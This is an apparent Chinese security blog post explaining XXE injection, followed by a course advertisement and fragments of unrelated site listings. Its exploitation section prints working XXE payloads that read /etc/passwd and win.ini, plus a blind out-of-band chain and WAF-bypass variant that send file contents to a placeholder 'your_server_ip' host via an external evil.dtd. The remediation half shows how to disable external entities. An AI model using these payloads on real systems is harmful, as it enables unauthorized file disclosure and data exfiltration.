news 2026/4/16 16:03:48

深入剖析 XXE 漏洞及其修复思路

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深入剖析 XXE 漏洞及其修复思路

目录

深入剖析 XXE 漏洞及其修复思路

一、XXE 漏洞是什么

二、XXE 漏洞的利用

(一)有回显的 XXE 漏洞利用

(二)无回显的 XXE 漏洞利用

三、XXE 漏洞修复思路

(一)禁用外部实体

(二)严格验证输入

(三)升级解析库版本


在网络安全领域,XXE(XML External Entity Injection)漏洞一直是一个不可忽视的安全隐患。今天,我们就来深入探讨一下 XXE 漏洞是什么、如何利用它以及最重要的,怎么修复它来保障系统安全。

一、XXE 漏洞是什么

XXE 漏洞通常发生在应用程序解析 XML 输入时。当应用程序没有禁止外部实体的加载,攻击者就可以利用这一漏洞,通过构造恶意的外部实体,获取服务器中本应被保护的数据。

产生 XXE 漏洞的原因主要在于文档类型定义(DTD)部分可以引用外部 DTD 文件,而且 XML 解析器解析外部实体时支持多种协议,比如file协议可读取本地文件内容,http协议能获取外部资源等。这就为攻击者打开了方便之门,他们构造的恶意 XML 文件一旦被解析器解析,就会触发漏洞。

二、XXE 漏洞的利用

(一)有回显的 XXE 漏洞利用
  1. 本地文件读取
    • 利用file协议直接读取本地文件,例如在 XML 中定义外部实体:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
  • 如果是 PHP 程序,还可以使用 PHP 伪协议读取文件流,像这样:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root>&xxe;</root>
  • 当读取的文件包含特殊符号时,就需要借助sedate(这里文档表述不太准确,推测是类似处理方式),并结合外部参数实体来处理。同时要注意,有些 XML 解析库支持列目录,攻击者可借此获取更多敏感信息。
  1. 漏洞检测与利用演示
    假设我们找到了一个接受 XML 输入的端点,比如某个登录接口。原本数据传输可能使用 JSON 格式,我们可以尝试将 HTTP 请求方法改为POST,并把Content-Type字段修改为application/xml。然后构造如下 XML 数据:
<!DOCTYPE root [ <!ENTITY test "hello"> ]> <root>&test;</root>

如果服务器能成功解析并回显hello,就说明该端点可能存在 XXE 漏洞。接着,我们可以进一步尝试利用外部实体读取文件,例如:

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root>&xxe;</root>

若服务器回显了文件内容,那就证明存在 XXE 漏洞且可利用。

(二)无回显的 XXE 漏洞利用

无回显的 XXE 漏洞,又称为Blind XXE,利用起来相对复杂。因为服务器处理 XML 数据后不会回显,我们无法直接获取数据。这时,就需要借助外带数据通道来提取数据。

  1. 利用思路
    • 首先定义一个实体,使用file协议请求本地文件内容,比如:
<!ENTITY % file SYSTEM "file:///etc/passwd">
  • 再定义另外一个参数实体,将读取的文件内容作为 URL 的一部分,请求本地监听的端口。像这样:
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your_server_ip:port/?a=%file;'>">
  • 然后通过外部 DTD 方式,将内部参数实体的内容与外部 DTD 声明的实体内容拼接起来。这里要注意参数实体的嵌套和引用顺序,因为同级参数实体内容几乎不会被 XML 解析器解析。例如:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://your_server_ip:port/?a=%file;'>"> %start; %send;
  • 最后在 XML 文档中引用相关实体,启动本地监听端口(如使用python -m http.server 8998启动 HTTP 服务监听 8998 端口),若能在监听端口接收到包含文件内容的请求,就成功利用了漏洞。
  1. 绕过 WAF 的方法
    有时候直接使用常规方式会被 WAF 拦截,我们可以尝试一些绕过技巧。比如,将 DTD 直接放在DOCTYPE中,不使用ENTITY关键字,像这样:
<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % trick SYSTEM "http://your_server_ip/evil.dtd"> %trick; %send; ]> <root>&int;</root>

evil.dtd文件中定义:

<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your_server_ip:port/?a=%file;'>"> %payload;

通过这种方式,有可能绕过一些 WAF 的检测。

三、XXE 漏洞修复思路

(一)禁用外部实体

在 XML 解析器中,直接禁用外部实体的加载是最直接有效的修复方法。不同的编程语言和 XML 解析库有不同的设置方式。

  1. Java
    在 Java 中使用DocumentBuilderFactory时,可以通过如下代码禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  1. Python
    使用lxml库时,可以这样设置:
from lxml import etree parser = etree.XMLParser(resolve_entities=False) xml_data = '<xml>...</xml>' # 实际的XML数据 tree = etree.fromstring(xml_data, parser)
(二)严格验证输入

对所有 XML 输入进行严格的验证,确保输入内容不包含恶意的外部实体声明。可以使用 XML Schema 或 Relax NG 等技术定义 XML 的结构和约束,验证输入的 XML 是否符合规范。
例如,使用 XML Schema 定义一个简单的 XML 结构:

<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="data" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>

然后在解析 XML 时,根据这个 Schema 进行验证:

import javax.xml.XMLConstants; import javax.xml.transform.stream.StreamSource; import javax.xml.validation.Schema; import javax.xml.validation.SchemaFactory; import javax.xml.validation.Validator; import org.xml.sax.SAXException; import java.io.File; import java.io.IOException; public class XMLValidator { public static void main(String[] args) { try { SchemaFactory factory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = factory.newSchema(new File("your_schema.xsd")); Validator validator = schema.newValidator(); validator.validate(new StreamSource(new File("your_xml.xml"))); System.out.println("XML is valid."); } catch (SAXException | IOException e) { System.out.println("XML is invalid: " + e.getMessage()); } } }
(三)升级解析库版本

及时升级 XML 解析库到最新版本,因为新版本通常会修复已知的安全漏洞,包括 XXE 漏洞相关的问题。开发人员要关注解析库的更新动态,及时进行升级。

XXE 漏洞虽然隐蔽且具有一定的危害性,但只要我们深入了解其原理,掌握正确的利用和修复方法,就能有效防范这一漏洞,保障系统的安全稳定运行。希望大家通过这篇博客,对 XXE 漏洞有更清晰的认识,并能在实际开发和安全防护工作中加以运用。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/8 10:29:55

零基础教程:5分钟学会用快马打开和编辑.MD文件

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个极简的.MD文件查看器&#xff0c;功能包括&#xff1a;1. 拖放上传.MD文件 2. 实时预览渲染效果 3. 基础编辑功能 4. 保存修改 5. 使用纯HTML/CSS/JavaScript实现单页应用…

作者头像 李华
网站建设 2026/4/16 12:42:10

懒人必备!LLaMA Factory预装镜像快速搭建大模型实验环境

懒人必备&#xff01;LLaMA Factory预装镜像快速搭建大模型实验环境 作为一名研究生&#xff0c;你是否也遇到过和小张一样的困扰&#xff1f;毕业论文需要对比多个大模型的微调效果&#xff0c;但学校的GPU资源总是需要排队申请&#xff0c;实验进度被严重拖慢。今天我要分享…

作者头像 李华
网站建设 2026/4/16 12:32:03

企业级K8s环境搭建:基于虚拟机的完整实践

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 生成一个自动化脚本&#xff0c;用于在3台CentOS 7虚拟机上部署Kubernetes集群。要求&#xff1a;1) 每台虚拟机配置为4核CPU、8GB内存、50GB硬盘&#xff1b;2) 自动安装Docker和…

作者头像 李华
网站建设 2026/4/7 9:05:58

电商后台实战:Ant Design Vue全栈解决方案

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个电商后台管理系统的商品管理模块&#xff0c;包含&#xff1a;1.商品分类树形展示&#xff1b;2.商品列表&#xff08;带图片预览&#xff09;&#xff1b;3.商品详情编辑…

作者头像 李华
网站建设 2026/4/12 17:03:39

中药材原料怎么选?这份口碑排行榜单让你买对不买贵

好的&#xff0c;作为一名资深、客观的测评分析师&#xff0c;我将严格遵循您的指令&#xff0c;为您呈现这篇关于【中药材原料】的深度测评排名文章。《【中药材原料】哪家好&#xff1a;专业深度测评与口碑排名》开篇&#xff1a;定下基调随着中医药产业的蓬勃发展和“减抗限…

作者头像 李华